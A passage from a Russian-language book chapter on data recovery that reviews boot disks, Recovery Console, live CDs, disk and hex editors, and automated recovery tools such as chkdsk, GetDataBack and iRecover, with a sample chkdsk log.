Установка NTFSDOS Professional представляет собой двухэтапную процедуру. Сначала необходимо запустить программу Setup, работая под управлением Windows NT/2000/XP. Затем, используя эту систему, вы должны будете создать загрузочные дискеты NTFSDOS Professional. Для этого запустите программу Creator, которую инсталлятор установил в программной группе NTFSDOS Professional. Программа Creator обнаружит системные файлы Windows NT/2000/XP и на их основе создаст две дискеты. На первую дискету будет помещен исполняемый файл ntfspro.exe и все остальные файлы, которые позволят вам монтировать диски NTFS и получать к ним доступ. На вторую дискету будет помещен файл ntfschk.exe, а также другие файлы, необходимые для запуска программы chkdsk на дисках NTFS. Программа Creator автоматически сожмет все системные файлы Windows NT/2000/XP при их копировании на дискету, поэтому имена и размеры файлов могут отличаться от соответствующих им файлов на вашем жестком диске.

Если вам нужна локализованная (то есть русифицированная) загрузочная дискета NTFSDOS Professional, то вы столкнетесь с небольшой проблемой. Дело в том, что русифицированная версия MS-DOS, даже в самом минимальном комплекте поставки (IO.SYS + COMMAND.COM), занимает намного больше места, чем рассчитывал Руссинович. Поэтому для начала вам придется создать загрузочную дискету с локализованной версией MS-DOS. Это проще всего сделать средствами Windows 98 с помощью команд format /s A: или sys A:. Загрузившись с системной дискеты, извлеките ее из дисковода (предварительно скопировав command.com на виртуальный диск), а затем вставьте первую дискету, созданную инсталлятором NTFSDOS Professional, и дайте из командной строки команду ntfspro.exe.

В качестве альтернативного варианта можно воспользоваться загрузочной дискетой от компании Active@Data Recovery Software (http://download2.lsoft.net/NtfsFloppySetup.exe) или загрузочным CD-ROM от того же производителя (http://download2.lsoft.net/boot-cd-iso.zip). Центральным звеном каждого из этих средств является независимый драйвер NTFS, работающий из-под MS-DOS. Этот драйвер способен монтировать тома NTFS даже при полном разрушении вспомогательных файловых структур, серьезном повреждении MFT или полном разрушении корневого каталога. Драйвер самостоятельно сканирует диск в поисках уцелевших записей в MFT, показывая, в том числе, и удаленные файлы, и предлагая их восстановить. Разумеется, возможность записи на диск реализована только в коммерческой версии, а демонстрационная позволяет лишь скопировать файлы на внешний носитель (жесткий диск, отформатированный под FAT, или на дискету). Динамические диски, к сожалению, не поддерживаются. Помимо этого, в комплект поставки входят:

□ утилита для создания и восстановления образов диска;

□ утилита для надежного затирания данных (эта возможность полезна, если вы возвращаете продавцу диск, ранее содержавший конфиденциальные данные);

□ программа для работы с разделами жесткого диска (восстановление разрушенных таблиц разделов и их заблаговременная архивация);

□ утилита unerase для NTFS.

Если приобретение второго жесткого диска вам не по карману, а возможности загрузчиков MS-DOS вас не устраивают, воспользуйтесь еще одной утилитой, разработанной Марком Руссиновичем, — ERD Commander. Эта утилита позволяет запускать усеченную версию Windows с дискет (5 штук) или CD. В настоящее время ERD Commander распространяется только на коммерческой основе, хотя в Интернете до сих пор можно найти предыдущие, бесплатные версии. Стоит, правда, отметить, что по сравнению с коммерческой версией программы возможности бесплатных версий весьма ограничены. В частности, тестирование бесплатной версии ERD Commander 2000 вызывало у меня смесь разочарования с удивлением. Во-первых, инсталлятор записал на дискету многопроцессорное ядро (а у меня однопроцессорная машина!). Как следствие, при загрузке с дискеты Windows не нашла нужного ядра и отказалась загружаться. Пришлось менять ядро вручную. Затем обнаружились и другие ошибки инсталлятора, и пришлось немало повозиться, прежде чем Windows все-таки загрузилась. Подготовленный инсталлятором образ CD тоже был далек от совершенства — он представлял собой обычную папку с файлами и файл bootsector.bin, прожечь которые можно не каждой утилитой. Для прожига загрузочного CD я воспользовался CDRTOOLS. Тот же результат может быть получен и с помощью CDRWIN, а вот популярный Nero burning ROM для этой цели, увы, не годится. Тем не менее, ERD Commander стоит всех мучений! С его помощью вы можете:

□ менять пароль системного администратора;

□ редактировать реестр поврежденной системы;

□ управлять сервисами и драйверами;

□ восстанавливать удаленные файлы, копировать и модифицировать любые системные и пользовательские файлы (в том числе и по сети);

□ редактировать таблицу разделов и управлять динамическими дисками;

□ сравнивать файлы поврежденной и работоспособной систем;

□ производить откат системы в рабочее состояние, и многое-многое другое.

К сожалению, средствами восстановления разрушенного диска напрямую ERD Commander не располагает, так как его основное назначение — восстановление работоспособности поврежденной операционной системы. Стоит, правда, отметить, что под управлением ERD Commander можно вызвать дискового доктора или любую другую Windows-утилиту, но в этом случае никакого смысла в его приобретении нет, так как второй винчестер обойдется дешевле.

Начиная с Windows 2000, Microsoft включила в операционную систему некоторое подобие загрузчика, способного стартовать с CD-ROM и поддерживающего NTFS. Называется это средство консолью восстановления (Recovery Console). Это — действительно консоль, ничего не знающая о GUI и способная запускать лишь консольные приложения (например, chkdsk.exe и другие утилиты подобного типа). Чтобы запустить Recovery Console, загрузите компьютер с дистрибутивного компакт-диска Windows. Когда инсталлятор предложит выбрать между установкой новой копии Windows или восстановлением одной из обнаруженных на компьютере операционных систем этого семейства, нажмите клавишу <R>, выбирая опцию Recovery Console. Вам будет предложено ввести пароль администратора (запустить консоль не удастся, если вы забыли этот пароль, или если поврежден системный реестр). После успешной регистрации запустится командный интерпретатор, теоретически позволяющий скопировать уцелевшие файлы на другой диск. Практически же по умолчанию доступна только папка, в которой установлена система Windows, причем копирование на съемные носители запрещено. Хорошенькое начало! Зачем вам нужна системная папка Windows? Ведь личные документы намного нужнее! К счастью, это ограничение легко можно снять (следует только заметить, что сделать это нужно заблаговременно). Для этого необходимо присвоить системным переменным AllowAllPaths и AllowRemovableMedia значение true (SET AllowAllPaths = true, SET AllowRemovableMedia = true). Еще один путь снятия данного ограничения выглядит следующим образом: откройте окно Панель управления (Control Panel), выберите опцию Администрирование (Administration Tools), затем — опцию Локальные параметры безопасности (Local security policy). Найдите пункт Консоль восстановления: разрешить копирование дискет и доступ ко всем папкам (Recovery Console: Allow floppy copy and access to all drives and all folders) и активизируйте эту опцию (переведя ее в состояние enabled). Смысл этой защиты мне не совсем понятен. Простые пользователи до консоли восстановления дотягиваются крайне редко, а профессионалов подобные манипуляции безумно раздражают. Находясь в консоли восстановления, вы можете:

□ запускать chkdsk (полезность этого "доктора" весьма сомнительна, так как он зачастую лишь усугубляет разрушения);

□ создавать и удалять разделы на жестком диске;

□ перезаписывать MBR и boot-сектор;

□ форматировать логические диски;

□ управлять службами и драйверами;

□ удалять, копировать, переименовывать файлы и изменять их атрибуты (включая те, что блокируются при запуске системы);

□ выполнять другие сервисные операции.

При желании вы можете запускать и свои собственные консольные приложения, при условии, что они не используют никаких динамических библиотек за исключением NTDLL.DLL. Однако технику разработки таких приложений мы обсудим как-нибудь в другой раз, так как это очень обширный вопрос, заслуживающий написания отдельной книги.

В Windows XP идея консоли восстановления получила дальнейшее развитие, вылившееся в Windows РЕ. Это — слегка усеченная версия Windows XP, способная загружаться с CD-ROM и запускать GUI-приложения. Фактически она полностью заменяет собой "второй" жесткий диск, и для восстановления системы с ее помощью не требуется никакого дополнительного оборудования! К сожалению, легальная версия Windows РЕ в широкую продажу так и не поступила (Microsoft предоставляет ее только разработчикам оборудования, сервисным специалистам и официальным партнерам). Тем не менее, спрос рождает предложение, а загружать Windows с CD требуется многим. Поэтому, если вы не имеете возможности получить копию Windows РЕ, воспользуйтесь альтернативным средством — Bart's РЕ Builder (рис. 2.1). Эта бесплатно распространяемая утилита (http://www.nu2.nu/pebuilder/) извлечет с дистрибутивного диска Windows все необходимые файлы и автоматически сформирует iso-образ загрузочного CD. Вам останется только прожечь этот образ на болванку. При желании на CD можно помещать и другие полезные утилиты, в том числе и собственной разработки, формируя мощный набор средств восстановления поврежденных жестких дисков. При этом все эти средства можно разместить на трехдюймовом мини-диске CD-R/RW, свободно умещающемся в нагрудном кармане. Вам никогда больше не понадобится таскать с собой устрашающие своими размерами стопки дискет или даже отдельные винчестеры. К слову сказать, существует множество плагинов (plug-in) для Bart's РЕ Builder, представляющих собой программы, адаптированные для запуска с CD. Среди них есть и утилиты восстановления данных, и дисковые редакторы, и даже Nero Burning ROM. Большую коллекцию плагинов можно найти на домашней страничке Bart's РЕ Builder: http://www.nu2.nu/pebuilder/. Здесь же вы найдете и краткое руководство по работе с этой утилитой. Официально РЕ Builder поддерживает Windows 2000, Windows XP и Windows 2003. Однако при ближайшем рассмотрении выясняется, что для успешного создания загрузочного CD на базе Windows 2000 требуется дистрибутивный диск Windows 2000 с интегрированным SP1. Зато создание диска на базе Windows 2003 прошло успешно (использовался CD-ROM с 180-дневной версией Windows Server 2003, бесплатно распространяемый компаний Microsoft).

Рис. 2.1. Логотип диска Bart's РЕ

Live Linux CD

За последние годы появилось множество дистрибутивов Linux, загружающихся прямо с CD-ROM и не требующих установки на винчестер. Нужно ли говорить, что это — очень удобная штука для восстановления данных. Тем не менее, далеко не все дистрибутивы пригодны для этой цели, и не все пригодные одинаково хороши, поэтому краткий обзор не помешает.

□ KNOPPIX 3.7 — с моей точки зрения, это самый лучший из всех имеющихся дистрибутивов. Основан на GNU/Debian. Занимает всего один диск, но содержит практически все: от дисковых утилит и компиляторов до офисных пакетов и мультимедийных приложений. Очень шустро работает, требует от 128 Мбайт оперативной памяти (если доступный объем памяти меньше, то будет использоваться файл подкачки). В 2004 году издательство O'Reilly выпустило шикарную книгу "KNOPPIX Hacks", содержащую главы, посвященные технике восстановления данных. Саму книжку можно найти в e-Mule, a KNOPPIX — заказать в интернет-магазине http://www.linuxcenter.ru или загрузить через Интернет (например, отсюда: http://www.knoppix.net/get.php).

□ Frenzy 0.3 — дистрибутив, основанный на FreeBSD с небольшим количеством дисковых утилит, ориентированных на ext2fs. Следует при этом отметить, что основной файловой системой самой BSD является UFS/FFS, и поддержка ext2fs в ней весьма ограниченна. Тем не менее, для восстановительных работ данный дистрибутив вполне пригоден, и всем поклонникам BSD его можно смело рекомендовать.

□ SuSE 9.2 — с моей точки зрения, это посредственный дистрибутив. Занимает целых два диска (один с KDE, другой с GNOME). Требует не менее 256 Мбайт оперативной памяти (правда, версия с KDE запускается и при 220 Мбайт). Очень медленно работает и не содержит практически ничего, кроме малого количества офисных программ.

Выбор носителей для копирования

Времена, когда восстанавливаемый винчестер было можно скопировать на пару пачек дискет, давно прошли, и теперь процедура извлечения данных с поврежденных винчестеров значительно усложнилась. На сегодняшний день наилучший выбор — это пишущие приводы (особенно DVD). Пары пачек носителей достаточно для копирования жесткого диска любой разумной емкости, однако достойных программ прожига под MS-DOS нет и, по- видимому, уже и не будет. Существующие утилиты (включая их консольные разновидности) требуют для своего запуска Windows РЕ или Bart's РЕ. Основная проблема здесь заключается в том, что ни Windows РЕ, ни Bart's РЕ не в состоянии монтировать разрушенные диски NTFS (на некоторых из них драйвер NTFS зависает или приводит к появлению синего экрана смерти).

Такие средства, как штатная консоль восстановления, NTFSDOS Professional, и Active@Data Recovery Boot Disk, поддерживают только дискеты и IDE-накопители. При этом демонстрационные версии NTFSDOS Professional и Active@Data Recovery Boot Disk требуют, чтобы диск, на который производится копирование данных, был отформатирован для использования FAT16/32, а его максимальный объем не превышал 8 Гбайт. Если вам необходимо восстановить диск большего объема, вам придется последовательно копировать его на несколько жестких дисков. Я согласен, что это — достаточно дорогое удовольствие, но дешевых решений в деле восстановления данных не бывает.

Дисковые редакторы

Настоящие профессионалы восстанавливают разрушенные логические структуры непосредственно в дисковом редакторе. Они не доверяют никаким автоматизированным утилитам (кроме программ собственной разработки), поскольку никогда не известно заранее, какой подлости от них следует ждать. Так же поступим и мы, делая основной упор именно на ручное восстановление. Раз дисковый редактор станет нашим главным инструментом, это должен быть хороший и комфортный редактор, в противном случае восстановление из увлекательной работы превратится в пытку.

Лучшим, и, кстати говоря, до сих пор никем не превзойденным, дисковым редактором, когда-либо созданным за всю историю существования IBM PC, был и остается знаменитый Norton DiskEditor от компании Symantec (см. рис. 2.2 и 2.3). Этот редактор обеспечивает удобную навигацию по диску, возможность просмотра большинства служебных структур в естественном виде, а также мощный контекстный поиск. Эти возможности до предела упростили процедуру восстановления, взяв всю рутинную работу на себя. Старичок и поныне остается в строю. Разумеется, под Windows NT он не запускается, однако работает под MS-DOS и Windows 9x, наследуя все ограничения, накладываемые BIOS на предельно допустимый объем диска в 8 Гбайт.

Рис. 2.2. DiskEditor отображает FAT

Рис. 2.3. DiskEditor отображает корневой каталог

Примечание

Следует, правда, отметить, что попытка восстановления диска из многозадачной среды, которую представляет собой Windows 9x, может привести к результату, прямо противоположному вашим ожиданиям. Впрочем, на разделы NTFS это условие не распространяется. Операционная система Windows 9x не поддерживает файловую систему NTFS и ничего не пишет на ее разделы.

К сожалению, DiskEdit ничего не знает об NTFS, и потому разбирать все структуры приходится вручную. Однако это еще не самое худшее. Редактор DiskEdit не поддерживает кодировку UNICODE, а это создает уже более серьезные проблемы. Поэтому, несмотря на все достоинства DiskEdit, лучше все-таки выбрать другой редактор.

Microsoft Disk Probe

Редактор Microsoft Disk Probe входит в состав бесплатно распространяемого пакета Support Tools. Этот редактор незатейлив и довольно неудобен в использовании. Если все, что вам требуется — это подправить пару байт в нужных секторах, Disk Probe вполне подойдет, но для восстановления серьезных разрушений он непригоден. Тем не менее, им поддерживаются следующие базовые функции редактирования:

□ чтение и запись логических и физических секторов и их групп;

□ просмотр таблицы разделов (рис. 2.4) и загрузочных секторов FAT16 и NTFS в их естественном виде (рис. 2.5);

□ поддержка UNICODE;

□ глобальный поиск по фиксированному или произвольному смещению строки от начала сектора;

□ запись секторов в файлы и их последующее восстановление и т.д.

Рис. 2.4. Disk Probe отображает таблицу разделов

Рис. 2.5. Disk Probe за поиском сектора

Основные претензии, которые можно высказать в адрес этой программы, — отсутствие горячих клавиш и невозможность перехода к следующему сектору по нажатию клавиши <PageDown>. В результате, каждый раз, как только требуется перейти к следующему сектору, необходимо обращаться к меню, а при проведении масштабных работ это крайне неудобно.

Acronis Disk Editor

Этот редактор представляет собой слегка усовершенствованный вариант Disk Probe. Он имеет разукрашенный интерфейс (рис. 2.6 и 2.7), в нем существенно упрощена процедура выбора дисков, а также обеспечена возможность перехода к следующему или предыдущему секторам по нажатию клавиш <PageDown> и <PageUp> соответственно. В функции поиска реализована поддержка большого количества различных кодировок (для сравнения, Disk Probe поддерживает лишь одну альтернативную кодировку — Cyrillic Windows-1251). Появилась и возможность поиска шестнадцатеричных данных (HEX-поиск). Однако, несмотря на все эти достоинства, данный редактор не свободен и от недостатков. Например, при масштабировании окна меняется и количество байт в строке, что делает навигацию по сектору весьма противоречивой и затруднительной. Кроме того, данный редактор отображает текущую позицию курсора только в десятичном формате (для сравнения, Disk Probe отображает ее в шестнадцатеричном формате), что также вряд ли приведет вас в восторг.

Рис. 2.6. Acronis Disk Editor за поиском строки

Рис. 2.7. Acronis Disk Editor отображает загрузочный сектор NTFS

DiskExplorer от Runtime Software

Это — поистине великолепный дисковый редактор, самый лучший из всех, с которыми мне только доводилось работать. Фактически это аналог Norton DiskEditor, но предназначенный для работы под управлением Windows 9x/Windows NT и обеспечивающий полную поддержку NTFS (рис. 2.8 и 2.9).

Рис. 2.8. DiskExplorer отображает MFT в сокращенном виде

Рис. 2.9. DiskExplorer отображает MFT в расширенном виде

С его помощью можно просматривать все основные структуры NTFS в естественном виде, монтировать виртуальные диски, работать с образами лазерных и жестких дисков, перемещаться по каталогам, восстанавливать удаленные файлы из любой записи MFT, копировать файлы (и даже целые каталоги) с возможностью предварительного их просмотра в текстовом или шестнадцатеричном формате. И это еще далеко не все! Редактор предоставляет удобную систему навигации (приблизительно такую же, как в браузере или IDA PRO, включая поддержку гиперссылок), изобилие горячих клавиш, а также поддерживает историю переходов. Кроме того, он реализует мощную систему поиска с поддержкой основных структур (INDEX, MFT, Partition) и предоставляет возможность поиска ссылок на текущий сектор. С его помощью можно производить удаленное восстановление диска с подключением по TCP/IP, локальной сети или прямому кабельному соединению. Все числа выводятся в двух системах счисления — шестнадцатеричной и десятичной.

Короче говоря, это мой основной (и при том горячо любимый!) инструмент для исследования файловой системы и восстановления данных. Первое же знакомство с ним вызывает эйфорию, граничащую со щенячьим восторгом. Наконец-то мы получили то, о чем так долго мечтали. Естественно, за все хорошее надо платить. Полнофункциональная версия Runtime's Disk Explorer — это коммерческий продукт. Его демонстрационная версия, доступная для скачивания, лишена возможности записи на диск. Причем имеются две различные версии редактора: одна поддерживает NTFS (http://www.runtime.org/diskexpe.htm), другая — FAT. Помимо этого, существуют и плагины для Bart's РЕ, которые можно скачать с сайта Runtime Software.

Sector Inspector

Данный инструмент входит в бесплатно распространяемый фирмой Microsoft пакет Windows Resource Kit. Он представляет собой пакетную утилиту для чтения и записи отдельных секторов в файл. Sector Inspector (рис. 2.10) поддерживает режимы адресации LBA и CHS. При запуске без параметров он выводит декодированную таблицу разделов вместе с расширенными разделами и загрузочными секторами. Редактирование диска осуществляется путем правки предварительно сохраненного дампа сектора в любом подходящем HEX-редакторе с последующей записью исправленной версии на диск. Естественно, это непроизводительно и неудобно, однако Sector Inspector — это единственный известный мне редактор, поддерживающий работу из Recovery Console. Именно поэтому в некоторых случаях он бывает просто незаменим!

Рис. 2.10. Sector Inspector за работой

Linux Disk Editor

Программ, пригодных для восстановления данных, под Linux совсем немного. Фактически их намного меньше, чем под Windows NT, да и тем, что имеются, до совершенства далеко, как до Луны. Но ведь не разрабатывать же весь необходимый инструментарий самостоятельно?! Будем использовать то, что дают, утешая себя тем, что программистам первых поколений, работавшим на "большом железе" (динозаврах машинной эры), приходилось намного сложнее.

Чаще всего под Linux для редактирования дисков используется программа lde (Linux Disk Editor). Конечно, этой программе еще далеко до Norton Disk Editor, однако это уже и не Microsoft Disk Probe. Linux disk editor — это профессионально-ориентированный редактор консольного типа, снабженный разумным набором функциональных возможностей (рис. 2.11). Список поддерживаемых файловых систем включает ext2fs, minix, xiafs и, отчасти, FAT. В перспективе разработчики обещают реализовать поддержку NTFS.

 Рис. 2.11. Дисковый редактор LDE (Linux Disk Editor)

Примечание

Честно говоря, поддержка NTFS в Linux нужна не так уж и сильно, а вот отсутствие в этом списке таких файловых систем, как UFS и FFS, очень огорчает.

Lde обеспечивает следующие возможности:

□ просмотр и редактирование содержимого секторов в HEX-формате;

□ просмотр супер-блока (super-block), файловых записей (inode) и каталогов в удобочитаемом виде;

□ контекстный поиск;

□ поиск файловых записей, ссылающихся на данный блок (полезная возможность, но, к сожалению, реализованная кое-как и срабатывающая далеко не всегда);

□ режим восстановления с ручным редактированием списка прямых/косвенных блоков;

□ сброс дампа на диск;

□ некоторые другие второстепенные операции.

Редактор может работать как в пакетном, так и в интерактивном режимах. В пакетном режиме все управление осуществляется посредством командной строки, что позволяет полностью или частично автоматизировать некоторые рутинные операции.

Распространяется в исходных текстах (http://lde.sourceforge.net/), работает практически под любой UNIX-совместимой операционной системой (включая FreeBSD). Наконец, этот редактор входит во все "правильные" дистрибутивы (например, в KNOPPIX).

Работа с lde на первых порах производит довольно странное впечатление. По крайней мере, я чувствовал себя так, как если бы пересел с IBM PC на УКНЦИ/ZX Spectrum или из современного человека превратился в неандертальца, вынужденного добывать огонь трением. Впрочем, со временем это проходит (программист, как известно, существо неприхотливое и ко всему привыкающее). Как вариант, можно загрузиться со "спасательной дискеты" и использовать знакомый Norton Disk Editor или Runtime NT Explorer, запущенной из-под Windows РЕ. С одной стороны это удобно (привычный интерфейс и все такое), с другой — ни Disk Editor, ни NT Explorer не поддерживают ext2fs/ext3fs, и все структуры данных приходится декодировать вручную.

Шестнадцатеричные редакторы

UNIX — это вам не Windows! Без дисковых редакторов здесь, в принципе, можно и обойтись. Берем любой hex-редактор, открываем соответствующее дисковое устройство (например, /dev/sdb1) и редактируем его в свое удовольствие.

Программисты старшего поколения, должно быть, помнят, как во времена первой молодости MS-DOS, когда еще не существовало таких средств, как HIEW или QVIEW, правка исполняемых файлов на предмет "отлома" ненужного 7xh обычно осуществлялась редактором DiskEdit. Иными словами, дисковый редактор использовался как hex-редактор. В UNIX, наоборот, hex-редакторы используются для редактирования диска.

Какой редактор выбрать? В общем-то, это дела вкуса (причем, не только вашего, но еще и составителя дистрибутива). Одни предпочитают консольный редактор hexedit (рис. 2.12), другие тяготеют к графическому редактору khexdedit (рис. 2.13), а третьи выбирают BIEW (урезанная версия всем известного редактора HIEW).

Рис. 2.12. Внешний вид редактора hexedit

Рис. 2.13. Внешний вид редактора khexedit

Автоматизированные дисковые утилиты

Более убогой утилиты, чем chkdsk (рис. 2.14) — стандартный дисковый "доктор", входящий в штатный комплект поставки Windows, — по-видимому, не придумать даже сценаристам из Голливуда. Система диагностики ошибок упрощена до минимума — доктор лишь информирует о факте их наличия, но отказывается говорить, что именно, по его мнению, повреждено и что он собирается лечить, поэтому последствия такого "врачевания" могут носить фатальный характер.

Рис. 2.14. Утилита chkdsk за работой

Известно много случаев, когда chkdsk залечивал до смерти полностью исправные разделы. Например, в листинге 2.1 приведен протокол лечения практически здорового диска с одной-единственной поверженной файловой записью (FILE RECORD). После этого "лечения" я не досчитался многих файлов. С другой стороны, успешно проведенных операций восстановления на его счету намного больше. Обычно он используется неквалифицированными пользователями (и администраторами) для периодической проверки разделов и исправления мелких искажений файловой системы.

В мире UNIX проверка целостности файловой системы обычно осуществляется программой fsck (аналог chkdsk под Windows NT), представляющей собой консольную утилиту, практически лишенную пользовательского интерфейса и входящую в штатный комплект поставки любого дистрибутива. Как и любое другое полностью автоматизированное средство, она не только лечит, но, случается, что и калечит, так что пользоваться ею следует с большой осторожностью.

Листинг. 2.1. Протокол лечения практически здорового диска с одной-единственной поверженной FILE RECORD

One of your disks needs to be checked for consistency. You

may cancel the disk check, but it is strongly recommended that you continue.

Windows will now check the disk.

The VCN 0x9 of index $130 in file 0x1a is inconsistence with

the VCN 0x0 stored inside the index buffer.

Correcting error in index $I30 for file 26.

The index bitmap $I30 in file 0x1a is incorrect.

Correcting error in index $I30 for file 26.

The down pointer of current index entry with length 0x70 is invalid.

0b 01 00 00 00 00 01 00 70 00 58 00 01 00 00 00  ........p.X.....

1a 00 00 00 00 00 01 00 00 c0 4c bb 5a 94 bf 01  ..........L.Z...

00 c0 4c bb 5a 94 bf 01 c0 3a 15 55 97 ea c4 01  ..L.Z....:.U....

f0 54 e1 71 7a ea c4 01 00 10 01 00 00 00 00 00  .T.qz...........

22 02 01 00 00 00 00 00 20 00 00 00 00 00 00 00  "........ ......

0b 03 63 00 5f 00 32 00 30 00 38 00 36 00 36 00  ..с._.2.0.8.6.6.

2e 00 6e 00 6c 00 73 00 ff ff ff ff ff ff ff ff  ..n.l.s.........

1f 01 00 00 00 00 01 00 70 00 54 00 01 00 00 00  ........p.T.....

Sorting index $I30 in file 26.

Cleaning up minor inconsistencies on the drive.

CHKDSK is recovering lost files.

Recovering orphaned file c_037.nls (253) into directory file 26.

Recovering orphaned file c_10000.nls (254) into directory file 26.

Recovering orphaned file c_10079.nls (255) into directory file 26.

Recovering orphaned file c_1026.nls (256) into directory file 26.

Recovering orphaned file c_1250.nls (257) into directory file 26.

Recovering orphaned file c_1251.nls (258) into directory file 26.

Recovering orphaned file c_1252.nls (259) into directory file 26.

Recovering orphaned file c_1253.nls (260) into directory file 26.

Recovering orphaned file c_1254.nls (261) into directory file 26.

Recovering orphaned file c_1255.nls (262) into directory file 26.

Recovering orphaned file c_1256.nls (263) into directory file 26.

Recovering orphaned file c_1257.nls (264) into directory file 26.

Recovering orphaned file c_1258.nls (265) into directory file 26.

Recovering orphaned file c_20261.nls (266) into directory file 26.

Recovering orphaned file cryptext.dll (412) into directory file 26.

Recovering orphaned file ctl3dv2.dll (422) into directory file 26.

Recovering orphaned file ctype.nls (423) into directory file 26.

Recovering orphaned file CSRSRV.DLL (880) into directory file 26.

Recovering orphaned file cryptdll.dll (2206) into directory file 26.

Recovering orphaned file ctl3d32.dll (2441) into directory file 26.

Recovering orphaned file c_10007.nls (2882) into directory file 26.

Recovering orphaned file c_10017.nls (2883) into directory file 26.

Recovering orphaned file c_20127.nls (2916) into directory file 26.

Recovering orphaned file csseqchk.dll (4019) into directory file 26.

Recovering orphaned file cscript.exe (4335) into directory file 26.

Recovering orphaned file cscdll.dll (4661) into directory file 26.

Recovering orphaned file CRYPTDLG.DLL (5125) into directory file 26.

Recovering orphaned file cryptsvc.dll (5127) into directory file 26.

Recovering orphaned file cscui.dll (5136) into directory file 26.

Recovering orphaned file CSRSS.EXE (5144) into directory file 26.

Recovering orphaned file CVID32.QTC (17408) into directory file 26.

Recovering orphaned file c_10001.nls (19801) into directory file 26.

Recovering orphaned file c_20290.nls (19805) into directory file 26.

Recovering orphaned file c_20000.nls (19811) into directory file 26.

Recovering orphaned file CSH.DLL (21395) into directory file 26.

Recovering orphaned file CRYPT32.DLL (38161) into directory file 26.

Recovering orphaned file CRYPTNET.DLL (38162) into directory file 26.

Recovering orphaned file CRYPTUI.DLL (38260) into directory file 26.

Cleaning up 48 unused index entries from index $SII of file 0x9.

Cleaning up 48 unused index entries from index $SDH of file 0x9.

Cleaning up 48 unused security descriptors.

CHKDSK discovered free space marked as allocated in the master file table (MFT) bitmap.

Correcting errors in the Volume Bitmap.

Windows has made corrections to the file system.

19543040 KB total disk space.

18318168 KB in 36008 files.

   16604 KB in 1684 indexes.

       0 KB in bad sectors.

  124080 KB in use by the system.

   65536 KB occupied by the log file.

 1084188 KB available on disk.

    4096 bytes in each allocation unit.

 4885760 total allocation units on disk.

  271047 allocation units available on disk.

Windows has finished checking your disk.

Please wait while your computer restarts.

28 Мая 2005

Восстановление потерянного файла NTMSJRNL (835) в файле каталога 4614.

GetDataBack

Еще одна утилита от создателей Disk Explorer. Она автоматизирована полностью и не предоставляет никаких возможностей ручной настройки (рис. 2.15).

Рис. 2.15. Внешний вид GetDataBack

Программа сканирует MFT и выводит все файлы, которые только удалось найти (включая удаленные), распределяя их по каталогам (при условии, что соответствующие индексы не повреждены). Если данная утилита встретит BAD-сектор, она завершит работу без предупреждения. Зато она поддерживает удаленное восстановление, создание образов дисков, а также мощную систему поиска по файлам (дата/размер). Возможность поиска по содержимому, к сожалению, отсутствует, что не может не разочаровывать. Представьте себе, что вы хотите восстановить файл со своей диссертацией, ключевые слова которой вам известны, а вот в каких секторах они располагаются — не ведомо. То же самое относится и к поиску файла записной книжки с телефоном приятеля. Тем не менее, для большинства рядовых задач по восстановлению возможностей GetDataBack хватает с лихвой. Демонстрационную версию программы, предназначенную для NTFS, можно раздобыть по следующему адресу: http://www.runtime.org/gdbnt.zip. Как и большинство демонстрационных версий, она обладает усеченными функциональными возможностями — все показывает, но восстанавливать ничего не дает. Тем не менее, демонстрационная версия все же позволяет открывать файлы ассоциированными с ними приложениями. Важно отметить, что GetDataBack не является доктором, подобным NDD или chkdsk. Она не лечит разделы, а всего лишь позволяет скопировать из них уцелевшие файлы.

iRecover

Данный продукт "жизнедеятельности" нидерландской фирмы с неоригинальным названием Data Recovery — замечательный полуавтоматический доктор с кучей настроек (рис. 2.16). Поддерживает динамические диски, позволяет задавать все параметры сканирования вручную. Надежен. Не зависает даже на сильно поврежденных томах. Правда, навигация по восстанавливаемому диску выполнена крайне неудобно (если не сказать — небрежно), что особенно хорошо заметно на больших дисках, содержащих миллионы файлов.

Рис. 2.16. iRecover за работой

Как и его конкурент — GetDataBack — он ничего не лечит, а лишь извлекает уцелевшие данные из небытия. Тем не менее, я отношу iRecover к лучшим автоматизированным средствам восстановления из всех имеющихся в моем арсенале (не считая своих собственных утилит, которые, как правило, пишутся на скорую руку для восстановления конкретного диска, после чего уходят в /dev/null, как и всякий фаст-фуд). Демонстрационную копию программы можно найти по следующему адресу: http://www.diydatarecovery.nl/downloads/Demo/iRecoverSetup.exe.

Easy Recovery Professional

На первый взгляд, эта широко разрекламированная утилита от компании OnTrack Data Recovery (http://www.ontrack.com) кажется весьма многообещающей (рис. 2.17). Внешность, однако, обманчива. Практическое тестирование показало, что это достаточно "тупой" инструмент, к тому же работающий в полностью автоматическом режиме. Интеллектуальность его действительно находится на зачаточном уровне. Поэтому я не рекомендовал бы вам эту утилиту для практического использования, за исключением, возможно, тех случаев, когда требуется восстановить только что отформатированный том, на который еще не было записано ничего существенного.

Рис. 2.17. EasyRecovery и полтораста мегабайт косметики

Stellarinfo Phoenix

Компания Stellarinfo (http://www.stellarinfo.com) выпустила утилиту, носящую гордое имя Phoenix и предназначенную для восстановления данных. Как заявлено разработчиком, она поддерживает практически все популярные файловые системы, которые только известны на сегодняшний день (включая UFS).

Демонстрационную копию можно скачать по следующему адресу: http://www.stellarinfo.com/spb.exe. Обратите внимание на расширение файла. Это — исполняемый файл. Судя по графе Platform Supported, данная версия рассчитана на BSD. Однако в среде BSD программа не запустится! Потребуется устанавливать в систему дополнительный винчестер с работоспособной Windows и инсталлировать Phoenix поверх нее. Под Windows РЕ программа тоже отказывается работать. Под Windows 2000 мне удалось ее запустить, но при попытке анализа заведомо исправного раздела программа выдала сообщение о критической ошибке. На других системах я эту программу не тестировал. Тем не менее, ссылку на файл все-таки даю. Во-первых, пусть все знают, что это за программа, и пусть не возлагают на нее особых надежд. Во-вторых, несмотря на разочаровавший меня результат, не исключено, что у кого-то она все-таки заработает.

The Sleuth Kit

Бесплатно распространяемый комплект утилит для ручного восстановления файловой системы, который можно найти по адресу (http://www.sleuthkit.org/), там же (http://www.sleuthkit.org/sleuthkit/docs/ref_fs.html) лежит файл с краткими инструкциями по его использованию. Увы, чудес не бывает, и вся методика восстановления сводится к сканированию свободного пространства на предмет поиска фрагментов с известным содержимым.

Foremost

Это — еще одна бесплатная утилита для восстановления удаленных файлов, основанная на формате их заголовков и на особенностях их структуры. Естественно, она работает только с теми файлами, чье строение ей известно. Тем не менее, по сравнению с ее предшественницами это большой шаг вперед! Кстати говоря, утилита взаимодействует с файловой системой не напрямую, а обрабатывает файлы, полученные командой dd или набором Sleuth Kit, благодаря чему она "поддерживает" все файловые системы. Последняя версия лежит на сервере http://foremost.sourceforge.net/.

CrashUndo 2000

